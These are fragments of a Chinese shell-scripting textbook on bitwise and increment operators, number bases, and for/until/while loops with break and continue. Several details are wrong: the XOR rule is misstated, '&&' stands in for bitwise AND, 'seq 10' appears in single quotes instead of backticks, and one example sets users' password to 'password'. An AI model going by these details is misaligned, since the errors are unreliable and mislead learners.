    {"text": "表4-7 常用位运算符 运算符 说 明 举 例 << 左移 4 << 2，将4左移2位，结果为16 >> 右移 8 >> 2，将8右移2位，结果为2 & 按位与 8 && 4，将8和4进行按位与运算，结果为0 | 按位或 8 | 4，将8和4进行按位或运算，结果为12 ～ 按位非 ～8，将8进行按位非运算，结果为-9 ^ 按位异或 10 ^ 6，将10和6进行按二进制位异或运算，结果为12 在表4-7中列出的运算符中，左移运算符“<<”是将整个数字的所有二进制位左移相应的数量，每左移1位，相当于将当前的数字乘以2。 右移运算符“>>”是将整个数字的所有二进制位右移相应的数量，每右移1位，相当于将当前的数字除以2。 按位与“&”将两个数字的每个二进制位进行与运算。"},
    {"text": "如果这两个位都是1，则运算结果就是1； 如果两个位中有任何一个为0，则运算结果就是0。 按位或“|”的运算过程与按位与基本相同，不同之处在于参与按位或运算的两个位中只要有一个位为1，则运算结果就为1； 只有两个位都是0的情况下，运算结果才为0。 按位非“～”的运算过程是将参与运算的数字的每个二进制位进行非运算，即将原来的1变成0，而将0变成1。 按位异或运算的过程与按位与或者按位非基本相同，但是在按位异或的过程中，只要参与运算的两个位的值相同，即同时为0或者同时为1，其运算结果就是1；"},
    {"text": "在图4-1中，上面的数字为4，将二进制形式的4左移2位，右边空出的位补0，最后变成了16。 同理，在图4-2中，上面的数字为8，将二进制形式的8向右移动2位，右边的0去掉，最后变成了2。"},
    {"text": "图4-1 左移运算 图4-2 右移运算 【 例4-32 】演示位运算符的使用方法，代码如下： 01 #-----------------------------/chapter4/ex4-32.sh------------------ 02 #! /bin/sh 03 04 # 左移运算 05 result=$[ 2 << 3 ] 06 echo \"$result\" 07 # 右移运算 08 result=$[ 8 >> 2 ] 09 echo \"$result\" 10 # 按位与运算 11 result=$[ 8 & 4 ] 12 echo \"$result\" 13 # 按位非运算 14 result=$[ ~8 ] 15 echo \"$result\" 16 # 按位异或运算 17 result=$[ 10 ^ 6 ] 18 echo \"$result\" 在上面的代码中，第5行执行左移运算，第8行执行右移运算，第11行执行按位与运算，第14行执行按位非运算，第17行执行按位异或运算。"},
    {"text": "该程序的执行结果如下： [root@linux chapter4]# ./ex4-32.sh 16 2 0 -9 12 除了简单的按位运算符之外，还有一些复合位运算符，表4-8列出了常用的复合位运算符。 表4-8 复合位运算符 运算符 说 明 举 例 <<= 将变量的值左移指定位数之后重新赋给该变量 x<<=3，将x的值左移3位，重新赋给变量x >>= 将变量的值右移指定位数之后重新赋给该变量 x>>=4，将变量x的值右移4位后重新赋给变量x &= 将变量的值与指定的数值按位与之后重新赋给该变量 x&=8，将变量x的值与8按位与运算之后重新赋给变量x |= 将变量的值与指定的数值按位或之后重新赋给该变量 x|=7，将变量x的值与7执行按位或运算之后重新赋给变量x ^= 将变量的值与指定的数值按位异或之后重新赋给该变量 x^=9，将变量x的值与9执行按位异或运算之后重新赋给变量x 【 例4-33 】演示表4-8中列出的复合位运算符的使用方法，代码如下： 01 #-----------------------------/chapter4/ex4-33.sh------------------ 02 #! /bin/sh 03 04 # 定义变量 x 05 x=5 06 # 执行左移赋值复合运算 07 let \"x<<=4\" 08 echo \"$x\" 09 # 执行右移赋值复合运算 10 let \"x>>=2\" 11 echo \"$x\" 12 # 执行按位或赋值运算 13 let \"x|=2\" 14 echo \"$x\" 该程序的执行结果如下： [root@linux chapter4]# ./ex4-33.sh 80 20 22 至于如何得到上面的执行结果，请读者参照图4-2中的位运算方法，就可以得出结论。"},
    {"text": "4.4.3 自增/自减运算符 在Shell中，还有一类称为自增或者自减的运算符，这类运算符的作用是将某个变量自动加1或者减1。 这类运算符一共有4种，分别是前置自增、前置自减、后置自增和后置自减，如表4-9所示。 表4-9 自增/自减运算符 运算符 说 明 ++variable 先将变量variable的值加1，然后再赋给variable --variable 先将变量variable的值减1，然后再赋给variable variable++ 先使用variable的值，然后再将该变量的值加1 variable-- 先使用variable的值，然后再将该变量的值减1 在表4-9中列出的运算符中，前置运算符都是先执行运算，然后再使用表达式的值； 而后置运算符则是先使用表达式的值，然后再执行自增或者自减运算。 【 例4-34 】演示自增或者自减运算符的使用方法，代码如下： 01 #-----------------------------/chapter4/ex4-34.sh------------------ 02 #! /bin/sh 03 04 # 定义变量 x 05 x=5 06 # 将变量 x 先自增，然后再计算表达式的值 07 x=$[ x + (++x) ] 08 echo \"$x\" 09 # 将变量先自减，然后再计算表达式的值 10 x=$[ --x ] 11 echo \"$x\" 12 # 先计算表达式的值，然后再自增 13 x=$((x++)) 14 echo \"$x\" 15 # 先计算表达式的值，然后再自减 16 x=$(( x-- )) 17 echo \"$x\" 在上面的代码中，第5行定义变量x，并且赋值为5。"},
    {"text": "第7行是一个复合表达式，程序会先执行括号中的++x，将x的值加1，从而变成6，然后再与括号外面的变量x相加，而此时括号外面的变量x的值仍然是5，因此整个表达式的值为11。 第10行执行的是前置自减运算，程序会先将x的值减1，从而变成10，然后再将该值赋给变量x。 第13行执行的是后置自增运算，因此，整个表达式的值应该是x自增前的值，即10，执行完第13行之后，x的值变为11。 第16行执行后置自减运算，先将变量x的值自减，变成10，然后再将10赋给变量x。"},
    {"text": "4.4.4 数字常量的进制 默认情况下，Shell总是以十进制来表示数字。 但是，用户也可以在Shell中使用其他进制来表示数字，例如二进制、八进制和十六进制。 在Shell中，用户可以使用两种语法来表示不同的进制，首先是增加前缀，例如以0开头的数字表示八进制，以0x开头的数字表示十六进制。"},
    {"text": "【 例4-35 】演示不同的进制的表示方法，代码如下： 01 #-----------------------------/chapter4/ex4-35.sh------------------ 02 #! /bin/sh 03 04 # 十进制 20 05 ((x=20)) 06 echo \"$x\" 07 # 八进制 20 08 ((x=020)) 09 echo \"$x\" 10 # 十六进制 20 11 ((x=0x20)) 12 echo \"$x\" 在上面的代码中，第5行的数字没有任何前缀，则表示这个数字是十进制数字；"},
    {"text": "该程序的执行结果如下： [root@linux chapter4]# ./ex4-35.sh 20 16 32 在上面的输出结果中，最后输出的全部是以十进制表示的数字。 【 例4-36 】演示使用井号“#”来表示不同进制的方法，代码如下： 01 #-----------------------------/chapter4/ex4-36.sh------------------ 02 #! /bin/sh 03 04 # 二进制 05 ((x=\"2#100000\")) 06 echo \"$x\" 07 # 八进制 08 ((x=8#123)) 09 echo \"$x\" 10 # 十六进制 11 ((x=16#32)) 12 echo \"$x\" 其执行结果如下： [root@linux chapter4]# ./ex4-36.sh 32 83 50 4.5 小结 本章深入探讨了条件测试、简单条件判断语句、多条件判断语句，以及运算符的使用方法等。"},
    {"text": "主要内容包括条件测试的基本语法、字符串测试、数值测试、文件测试、逻辑操作符、简单的if else语句、if elif语句、case语句，以及算术运算符、位运算符和自增、自减运算符等。 重点在于掌握基本的条件测试的语法，以及条件判断的使用方法。"},
    {"text": "until循环语句：主要介绍until语句的基本语法，以及如何使用until语句来批量添加用户。 while循环语句：主要介绍while循环语句的基本语法，分别使用计数器、结束标记、标志及命令行等方法来控制while循环结构，以及while语句与until语句的区别。"},
    {"text": "与其他的程序设计语言一样，for循环都是初学者在学习循环结构时的入门课程。 for循环通常用于遍历整个对象或者数字列表。 按照循环条件的不同，for循环语句可以分为带列表的for循环、不带列表的for循环，以及类C风格的for循环。 本节将介绍这3种不同的for循环结构。"},
    {"text": "5.1.1 带列表的for循环语句 带列表的for循环通常用于将一组语句执行已知的次数，其基本语法如下： for variable in {list} do statement1 statement2 ... done 在上面的语法中，variable称为循环变量，list是一个列表，可以是一系列的数字或者字符串，元素之间使用空格隔开。"},
    {"text": "在带列表的for语句的执行时，Shell会将in关键字后面的list列表的第1个元素的值赋给变量variable，然后执行循环体； 当循环体中的语句执行完毕之后，Shell会将列表中的第1个元素的值赋给变量variable，然后再次执行循环体。"},
    {"text": "【 例5-1 】演示将数字列表作为循环条件列表的for语句的使用方法，代码如下： 01 #-----------------------------/chapter5/ex5-1.sh------------------ 02 #! /bin/bash 03 04 #for 循环开始 05 for var in 1 2 3 4 5 6 7 8 06 do 07 # 依次输出列表中的数字 08 echo \"the number is $var\" 09 done 在上面的代码中，第5行使用从1～8的8个整数作为循环列表，第8行通过echo语句依次输出各个数字。 该程序的执行结果如下： [root@linux chapter5]# ./ex5-1.sh the number is 1 the number is 2 the number is 3 the number is 4 the number is 5 the number is 6 the number is 7 the number is 8 从上面的执行结果可以得知，通过带列表的for语句，可以非常方便地对列表中的各个值进行处理。"},
    {"text": "【 例5-2 】本例将【例5-1】进行改造，使用了简单的书写方法，代码如下： 01 #-----------------------------/chapter5/ex5-2.sh------------------ 02 #! /bin/bash 03 04 # 使用省略的写法表示某个范围 05 for var in {1..8} 06 do 07 echo \"the number is $var\" 08 done 该程序的执行结果与【例5-1】完全相同，如下所示。"},
    {"text": "[root@linux chapter5]# ./ex5-2.sh the number is 1 the number is 2 the number is 3 the number is 4 the number is 5 the number is 6 the number is 7 the number is 8 在上面的【例5-1】和【例5-2】中，for语句的步长，即循环变量每次增加的值都是1。"},
    {"text": "当用户需要另外指定步长时，其基本语法如下： for varibale in {start..end..step} do statement1 statement2 ... done 在上面的语句中，循环列表被大括号包括起来，其中start表示起始的数值，end表示终止的数值，step表示步长。 【 例5-3 】演示通过for循环，并配合步长来计算100以内奇数的和，代码如下： 01 #-----------------------------/chapter5/ex5-3.sh------------------ 02 #! /bin/bash 03 04 # 定义变量，并赋初值为 0 05 sum=0; 06 #for 循环开始，设置起始数值为 1 ，结束数值为 100 ，步长为 2 07 for i in {1..100..2} 08 do 09 # 将数累加 10 let \"sum+=i\" 11 done 12 echo \"the sum is $sum\" 在上面的代码中，第5行定义了一个变量sum，并且为其赋初值为0。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-3.sh the sum is 2500 在for循环的列表条件中，除了使用数字作为元素之外，还可以使用字符串。"},
    {"text": "代码如下： 01 #-----------------------------/chapter5/ex5-4.sh------------------ 02 #! /bin/bash 03 04 #for 循环开始 05 for day in {Mon Tue Wed Thu Fri Sat Sun} 06 do 07 # 输出循环变量的值 08 echo \"$day\" 09 done 在上面代码的第5行是for循环的开始，将周一～周日的英文名称作为列表元素，放在大括号内，它们之间用空格隔开。 该程序的执行结果如下： [root@linux chapter5]# ./ex5-4.sh Mon Tue Wed Thu Fri Sat Sun 如果使用字符串作为列表元素，实际上可以省略外面的大括号。 因此，【例5-4】可以修改为以下形式： 01 #! /bin/bash 02 03 #for 循环开始 04 for day in Mon Tue Wed Thu Fri Sat Sun 05 do 06 # 输出循环变量的值 07 echo \"$day\" 08 done 在前面的例子中的for循环里面，都是直接指定循环的条件列表。"},
    {"text": "在下面的【例5-5】中，就是通过ls命令的输出结果作为for循环的执行条件，代码如下： 01 #---------------------------/chapter5/ex5-5.sh------------------ 02 #! /bin/bash 03 04 # 使用 ls 命令的执行结果作为列表 05 for file in $(ls) 06 do 07 # 输出每个文件名 08 echo \"$file\" 09 done 在上面的代码中，值得关注的是第5行，其中$(ls)作为循环条件。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-5.sh ex5-1.sh ex5-2.sh ex5-3.sh ex5-4.sh ex5-5.sh 在上面的例子中，我们只是简单地输出文件名，实际上在实践中，用户可以针对这些文件进行其他一些处理操作，例如删除某些文件等。"},
    {"text": "【 例5-6 】使用通配符“*”作为条件列表，代码如下： 01 #-----------------------------/chapter5/ex5-6.sh------------------ 02 #! /bin/bash 03 04 # 使用通配符作为列表条件 05 for file in * 06 do 07 echo \"$file\" 08 done 在上面的代码中，for循环的条件列表非常简单，只是一个星号“*”，这个星号的作用是列出当前目录中所有的文件，与ls*命令等价。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-6.sh ex5-1.sh ex5-2.sh ex5-3.sh ex5-4.sh ex5-5.sh ex5-6.sh 可以发现，【例5-6】的执行结果与【例5-5】完全相同。"},
    {"text": "列表for循环还有一个比较重要的用途就是处理脚本的参数。 前面讲过，用户可以通过系统变量“$*”一次获取所有的参数，并且，这些参数值之间是通过空格隔开的，所以，用户同样可以将该系统变量获取的参数值作为for循环的条件列表，从而可以依次处理各个参数。 【 例5-7 】使用for循环逐个处理脚本的参数值，代码如下： 01 #-----------------------------/chapter5/ex5-7.sh------------------ 02 #! /bin/bash 03 04 # 输出所有的参数 05 echo \"$*\" 06 # 将参数列表作为条件 07 for arg in $* 08 do 09 # 依次输出各个参数值 10 echo \"${arg}\" 11 done 在上面的代码中，第7行将系统变量$*作为条件列表。 该程序的执行结果如下： [root@linux chapter5]# ./ex5-7.sh a b c d e f g a b c d e f g a b c d e f g 5.1.2 不带列表的for循环语句 在某些特殊情况下，for循环的条件列表可以完全省略，称为不带列表的for循环语句。"},
    {"text": "不带列表的for循环语句的一般语法如下： for variable do statement1 statement2 ... done 由于系统变量$@同样可以获取所有的参数，所以以上的语法等价于以下语法： for variable in $@ do statement1 statement2 ... done 也同样等价于以下语法： for variable in $* do statement1 statement2 ... done 【 例5-8 】演示不带列表的for循环语句的使用方法，代码如下： 01 #-----------------------------/chapter5/ex5-8.sh------------------ 02 #! /bin/bash 03 04 # 不带条件列表 05 for arg 06 do 07 # 输出每个参数 08 echo \"$arg\" 09 done 以上代码的执行结果如下： [root@linux chapter5]# ./ex5-8.sh a b c d a b c d 由于不带列表的for语句只能从命令行获取条件列表，所以在使用上受到了比较大的限制。"},
    {"text": "类C风格的for循环语句的基本语法如下： for ((expression1;expression2;expression3)) do statement1; statement2; ... done 在上面的语法中，for循环语句的执行条件被两个圆括号包括起来。"},
    {"text": "【 例5-9 】演示类C风格的for循环语句的使用方法，代码如下： 01 #-----------------------------/chapter5/ex5-9.sh------------------ 02 #! /bin/bash 03 04 #for 循环开始 05 for (( i=1;i<5;i++)) 06 do 07 # 输出循环变量 i 的值 08 echo \"$i\" 09 done 该程序的功能比较简单，仅仅是输出1～4这4个整数的值。"},
    {"text": "接着会判断条件的第2部分，即计算表达式i<5的值，如果该表达式的值等于0，则继续执行for循环。 由于当前的i的值为1，所以i<5的值为0，for循环将继续执行。"},
    {"text": "从第2次循环开始，循环条件中的第1部分将不再执行，而是直接判断第2部分中表达式的值是否为0，如果为0，则继续执行条件的第3部分中的表达式，然后再次执行循环体。 如果第2部分中的表达式的值为非0值，则退出for循环，继续执行done语句后面的语句。"},
    {"text": "【 例5-9 】的执行结果如下： [root@linux chapter5]# ./ex5-9.sh 1 2 3 4 与C语言中一样，在Shell中，用户也可以将for循环条件中的3个部分中的任何一部分省略掉，也可以全部省略掉。"},
    {"text": "例如，下面的代码是一个完全合法的for循环结构： #! /bin/bash for((;;)) do echo \"Hello world.\" done 尽管合法，但是上面的for循环并没有指定终止循环的条件，所以会导致该程序无限地执行下去，成为死循环。"},
    {"text": "针对数组，Shell专门提供了一种特殊语法的for循环语句，其基本语法如下： for variable in ${array[*]} do statement1 statement2 ... done 其中，变量variable是循环变量，in关键字后面的部分表示要遍历的数组，其中array表示数组的名称。 在遍历数组的过程中，for循环语句会将每个数组元素的值赋给循环变量variable。"},
    {"text": "【 例5-10 】演示通过for循环来遍历数组，代码如下： 01 #-----------------------------/chapter5/ex5-10.sh------------------ 02 #! /bin/bash 03 04 # 定义数组 05 array=(Monday Tuesday Wednesday Thursday Friday Saturday Sunday) 06 # 通过 for 循环遍历数组元素 07 for day in ${array[*]} 08 do 09 # 输出每个数组元素的值 10 echo $day 11 done 在上面的代码中，第5行定义了一个数组，该数组一共有7个元素。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-10.sh Monday Tuesday Wednesday Thursday Friday Saturday Sunday 从上面的执行结果可以得知，已经成功地遍历了数组array中的每个元素。"},
    {"text": "5.2 until循环语句 until循环语句同样存在于多种程序设计语言中。 顾名思义，until语句的作用是将循环体重复执行，直到某个条件成立为止。 恰当地使用until语句，可以收到事半功倍地效果。 本节将详细介绍until语句的使用方法。 5.2.1 until语句的基本语法 until循环语句的功能是不断地重复执行循环体中的语句，直至某个条件成立。 until语句的基本语法如下： until expression do statement1 statement2 ... done 在上面的语法中，expression是一个条件表达式。"},
    {"text": "当该表达式的值不为0时，将执行do和done之间的语句； 当expression的值为0时，将退出until循环结构，继续执行done语句后面的其他语句。 在每次执行循环体之间，until语句都会先判断expression的值，如果第一次执行时expression的值为0，则后面的循环体将一次也不会执行； 如果expression的值为非0，则until语句将执行do和done之间的所有的语句。 当执行完毕之后，until语句会再次判断expression的值，如果为0，则退出循环；"},
    {"text": "【 例5-11 】演示until语句的使用方法，代码如下： 01 #-----------------------------/chapter5/ex5-11.sh------------------ 02 #! /bin/bash 03 04 # 定义循环变量 i 05 i=1 06 # 当 i 的值小于 9 时执行循环 07 until [[ \"$i\" -gt 9 ]] 08 do 09 # 计算 i 的平方 10 let \"square=i*i\" 11 # 输出 i 的平方 12 echo \"$i*$i=$square\" 13 # 循环变量加 1 14 let \"i=i+1\" 15 done 该程序的作用是计算10以内的整数的平方。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-11.sh 1*1=1 2*2=4 3*3=9 4*4=16 5*5=25 6*6=36 7*7=49 8*8=64 9*9=81 在上面的执行结果中，脚本依次输出了数字1～9中每个整数的平方。"},
    {"text": "注意： 在使用until循环语句时，一定要注意不要漏掉循环变量的改变，否则会导致死循环。 另外，until语句的循环体在条件表达式的值为非0时重复执行；"},
    {"text": "【 例5-12 】演示如何通过循环语句来批量地增加用户，并设置用户的初始密码，代码如下： 01 #-----------------------------/chapter5/ex5-12.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 i 05 i=1 06 # 一直循环到变量 i 的值为 21 07 until [ \"$i\" -eq 21 ] 08 do 09 # 执行 useradd 命令添加用户 10 useradd user$i 11 # 修改用户密码 12 echo \"password\" | passwd --stdin user$i > /dev/null 13 # 循环变量自增 14 let \"i++\" 15 done 在上面的代码中，第7行是until语句的开始位置，当循环变量i的值为21时退出循环。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-12.sh [root@linux chapter5]# more /etc/passwd … user1:x:503:503::/home/user1:/bin/bash user2:x:504:504::/home/user2:/bin/bash user3:x:505:505::/home/user3:/bin/bash … user20:x:522:522::/home/user20:/bin/bash 从上面的more命令的执行结果可以得知，user1～user20已经成功地添加到了系统中。"},
    {"text": "【 例5-13 】介绍如何通过循环删除系统用户，代码如下： 01 #-----------------------------/chapter5/ex5-13.sh------------------ 02 #! /bin/bash 03 04 i=1 05 until [ \"$i\" -eq 21 ] 06 do 07 # 依次删除用户 08 userdel -r user$i 09 let \"i++\" 10 done 在上面的代码中，第8行的userdel是Shell中用来删除用户的命令，-r选项表示删除用户的同时也删除用户主目录。"},
    {"text": "5.3 while循环语句 while循环是另外一种常见的循环结构。 使用while循环结构，可以使得用户重复执行一系列的操作，直到某个条件的发生。 这听起来好像跟until循环非常相似，但是与until语句相比，while语句有着较大的区别。 本节将详细介绍while语句的使用方法。 5.3.1 while语句的基本语法 首先介绍一下while循环语句的语法，使读者对该语句有个初步的了解。 while循环语句的基本语法如下： while expression do statement1 statement2 ... done 在上面的语法中，expression表示while循环体执行时需要满足的条件。"},
    {"text": "【 例5-14 】使用while循环来输出数字1～9的平方，代码如下： 01 #-----------------------------/chapter5/ex5-14.sh------------------ 02 #! /bin/bash 03 04 # 定义循环变量 05 i=1 06 #while 循环开始 07 while [[ \"$i\" -lt 10 ]] 08 do 09 # 计算平方 10 let \"square=i*i\" 11 # 输出平方 12 echo \"$i*$i=$square\" 13 # 循环 变量自增 14 let \"i=i+1\" 15 done 本例实际上是对【例5-11】的改编，只是用while语句取代了until语句。 在上面的代码中，第7行是while循环语句的开始，可以看出，其中的循环条件恰好与until语句的循环条件相反，前者使用了小于运算符，而后者则使用大于运算符。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-14.sh 1*1=1 2*2=4 3*3=9 4*4=16 5*5=25 6*6=36 7*7=49 8*8=64 9*9=81 5.3.3 通过结束标记控制while循环结构 在某些情况下，用户可能不知道while循环会执行多少次。"},
    {"text": "【 例5-15 】演示如何通过结束标记来控制while循环，代码如下： 01 #-----------------------------/chapter5/ex5-15.sh------------------ 02 #! /bin/bash 03 04 # 提示用户输入数字 05 echo \"Please enter a number between 1 and 10.Enter 0 to exit.\" 06 # 读取用户输入的数字 07 read var 08 #while 循环开始 09 while [[ \"$var\" != 0 ]] 10 do 11 # 提示用户输入数字太小 12 if [ \"$var\" -lt 5 ] 13 then 14 echo \"Too small. Try again.\" 15 read var 16 # 提示用户输入数字太大 17 elif [ \"$var\" -gt 5 ] 18 then 19 echo \"Too big. Try again.\" 20 read var; 21 else 22 echo \"Congratulation! You are right.\" 23 exit 0; 24 fi 25 done 本例是一个猜数字的游戏。"},
    {"text": "第12行～第15行是用户输入数字小于5的情况。 第17行～第20行是用户输入数字大于5的情况。 第21行～第23行是用户恰好输入5的情况，此时程序会提示用户猜到了正确的数字，并且退出循环。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-15.sh Please enter a number between 1 and 10.Enter 0 to exit 3 Too small. Try again. 8 Too big. Try again. 5 Congratulation! You are right. [root@linux chapter5]# ./ex5-13.sh Please enter a number between 1 and 10.Enter 0 to exit 0 注意： 与for循环相比，while循环条件的变化通常在循环体内部，例如某个循环变量的自增或者结束标记的赋值等。"},
    {"text": "首先，这两个语句的语法结构非常相似，都是将循环条件放在语句的后面，例如while语句的基本语法结构如下： while expression do ... done until语句的语法结构如下： unitl expression do ... done 但是，在while语句中，当expression的值为0时才执行循环体中的语句，当expression的值为非0值时，将退出循环体； 在until语句中，当expression的值为非0时，执行循环体中的语句，当expression的值为0时，将退出循环结构。"},
    {"text": "另外，在其他程序设计语言，例如C++中也有until语句，但是，该语句的条件表达式是放在循环体后面的。 因此在until语句执行时，会首先执行循环体，再判断执行条件。 这样的话，until语句的循环体至少会执行一次。"},
    {"text": "【 例5-16 】使用两层循环打印出乘法表，代码如下： 01 #-----------------------------/chapter5/ex5-16.sh------------------ 02 #! /bin/bash 03 04 # 外层循环 05 for ((i=1;i<=9;i++)) 06 do 07 # 内层循环 08 for ((j=1;j<=i;j++)) 09 do 10 # 计算 2 个数的乘积 11 let \"product=i*j\" 12 # 输出乘积 13 printf \"$i*$j=$product\" 14 # 输出空格分隔符 15 if [[ \"$product\" -gt 9 ]] 16 then 17 printf \" \" 18 else 19 printf \" \" 20 fi 21 done 22 echo 23 done 在上面的代码中，内外两层循环都是通过计数器来控制，外层循环的计数器是从1～9，而内层循环的计数器是从1～i，即外层循环的计数器。 当外层循环的变量i等于1时，内层循环的变量j会从1开始，依次与外层循环变量i即1相乘，然后通过第13行的printf语句输出，直至j增加到1为止，退出内层循环。"},
    {"text": "接下来外层循环的变量i自增，变成2，内层循环重新从1开始执行，依次与2相乘，直至值为2为止。 依此类推，外层循环的变量从1增加到9就可以得到整个乘法表。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-16.sh 1*1=1 2*1=2 2*2=4 3*1=3 3*2=6 3*3=9 4*1=4 4*2=8 4*3=12 4*4=16 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36 7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49 8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64 9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81 嵌套循环不仅仅可以使用相同的循环语句，还可以将不同的循环语句相互嵌套使用。"},
    {"text": "在【例5-16】中，嵌套循环中的外层循环的计数器是从1～9，如果用户只想输出5以内的乘法表，则可以对【例5-16】进行改造，使用break语句在i等于5的时候退出外层循环。"},
    {"text": "【 例5-17 】输出5以内的乘法表，代码如下： 01 #-----------------------------/chapter5/ex5-17.sh------------------ 02 #! /bin/bash 03 04 for ((i=1;i<=9;i++)) 05 do 06 for ((j=1;j<=i;j++)) 07 do 08 let \"product=i*j\" 09 printf \"$i*$j=$product\" 10 if [[ \"$product\" -gt 9 ]] 11 then 12 printf \" \" 13 else 14 printf \" \" 15 fi 16 done 17 echo 18 # 当变量 i 的值为 5 时，退出循环 19 if [[ \"$i\" -eq 5 ]] 20 then 21 break; 22 fi 23 done 在上面的代码中，第19行～第22行是退出循环的语句。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-17.sh 1*1=1 2*1=2 2*2=4 3*1=3 3*2=6 3*3=9 4*1=4 4*2=8 4*3=12 4*4=16 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 从上面的执行结果可以得知，程序输出了从1～5的乘法表。"},
    {"text": "【 例5-18 】本例将【例5-17】中的break语句移到内层循环中，代码如下： 01 #-----------------------------/chapter5/ex5-18.sh------------------ 02 #! /bin/bash 03 04 for ((i=1;i<=9;i++)) 05 do 06 for ((j=1;j<=i;j++)) 07 do 08 let \"product=i*j\" 09 printf \"$i*$j=$product\" 10 if [[ \"$product\" -gt 9 ]] 11 then 12 printf \" \" 13 else 14 printf \" \" 15 fi 16 # 退出循环 17 if [[ \"$j\" -eq 5 ]] 18 then 19 break 20 fi 21 done 22 echo 23 done 该程序的执行结果如下： [root@linux chapter5]# ./ex5-18.sh 1*1=1 2*1=2 2*2=4 3*1=3 3*2=6 3*3=9 4*1=4 4*2=8 4*3=12 4*4=16 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 可以看出，【例5-18】并没有得到与【例5-17】相同的执行结果。"},
    {"text": "在【例5-18】中，当内层循环的计数器增加到5时，便执行了第19行的break语句，退出了内层循环，但是外层循环不受影响，仍然继续向下执行。"},
    {"text": "幸运的是，用户可以在break语句的后面增加一个数字作为参数，用来指定要退出的循环的层数。 例如，“break 2”这条语句将会退出两层循环。 【 例5-19 】通过break语句跳出指定的层数，代码如下： 01 #-----------------------------/chapter5/ex5-19.sh------------------ 02 #! /bin/bash 03 04 for ((i=1;i<=9;i++)) 05 do 06 for ((j=1;j<=i;j++)) 07 do 08 let \"product=i*j\" 09 printf \"$i*$j=$product\" 10 if [[ \"$product\" -gt 9 ]] 11 then 12 printf \" \" 13 else 14 printf \" \" 15 fi 16 if [[ \"$j\" -eq 5 ]] 17 then 18 # 增加参数 2 19 break 2 20 fi 21 done 22 echo 23 done 在上面的代码中，第19行使用了2作为break语句的参数，从而使得该语句能够退出两层循环结构。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-19.sh 1*1=1 2*1=2 2*2=4 3*1=3 3*2=6 3*3=9 4*1=4 4*2=8 4*3=12 4*4=16 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 [root@linux chapter5]# 可以看到，这次的执行结果与【例5-17】完全相同。"},
    {"text": "5.5.2 利用continue语句控制循环 前面介绍的break语句是退出循环体。 而continue语句则比较有趣，它的作用不是退出循环体，而是跳过当前循环体中该语句后面的语句，重新从循环语句开始的位置执行。 【 例5-20 】演示continue语句的使用方法，代码如下： 01 #-----------------------------/chapter5/ex5-20.sh------------------ 02 #! /bin/bash 03 04 for var in {1..10} 05 do 06 # 如果当前数字为奇数 07 if [[ \"$var%2\" -eq 1 ]] 08 then 09 # 跳过后面的语句 10 continue 11 fi 12 echo \"$var\" 13 done 上面的代码的作用是输出10以内的偶数。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-20.sh 2 4 6 8 10 注意： 与break语句一样，continue语句也可以附加一个整数作为参数，表示要跳过的循环层数，但是很少使用。 5.5.3 分析break语句和continue语句的区别 关于break语句和continue语句的区别，实际上在前面介绍这两个语句的时候已经分别做了说明。"},
    {"text": "正如前面所讲，break语句和continue语句都可以位于各种循环体内，用于控制当前的循环流程。 但是，break语句是直接退出当前的循环结构，转向执行循环体后面的语句； 而continue语句则只是跳过当前循环体中continue语句后面的语句，转向当前循环体的起始位置，重新执行下一次循环，并没有退出当前的循环结构。"},
    {"text": "另外，没有参数的break语句和continue语句都只是影响到本层的循环流程，如果想要影响多层循环，则可以附加数字参数。 【 例5-21 】演示在双层嵌套循环中，break语句对于流程的影响，代码如下： 01 #-----------------------------/chapter5/ex5-21.sh------------------ 02 #!/bin/sh 03 04 # 外层循环 05 for i in a b c d 06 do 07 echo -n \"$i \" 08 # 内层循环 09 for j in 'seq 10' 10 do 11 if [ $j -eq 5 ];then 12 break 13 fi 14 echo -n \"$j \" 15 done 16 echo 17 done 在上面的代码中，第5行是外层循环的开始，该层循环使用a、b、c和d这4个字母作为条件列表。"},
    {"text": "该程序的执行结果如下： [root@linux chapter5]# ./ex5-21.sh a 1 2 3 4 b 1 2 3 4 c 1 2 3 4 d 1 2 3 4 在上面的结果中，最左边的1列字母是由外层循环输出的。"},
    {"text": "当第5次循环时，此时变量j的值已经等于5，第11行的if语句的条件测试的值为0，于是，代码第12行的break语句得到了执行，退出了内层循环。"},
    {"text": "从上面的执行结果可以得知，break语句会直接退出内层循环，但是不影响外层循环的执行。 【 例5-22 】演示通过break语句跳出指定的层数，代码如下： 01 #-----------------------------/chapter5/ex5-22.sh------------------ 02 #!/bin/sh 03 04 for i in a b c d 05 do 06 echo -n \"$i \" 07 for j in 'seq 10' 08 do 09 if [ $j -eq 5 ];then 10 # 指定跳出层数 2 11 break 2 12 fi 13 echo -n \"$j \" 14 done 15 echo 16 done 该程序的执行结果如下： [root@linux chapter5]# ./ex5-22.sh a 1 2 3 4 [root@linux chapter5]# 从上面的执行结果可以得知，外层循环只执行1次，整个程序便退出了。"},
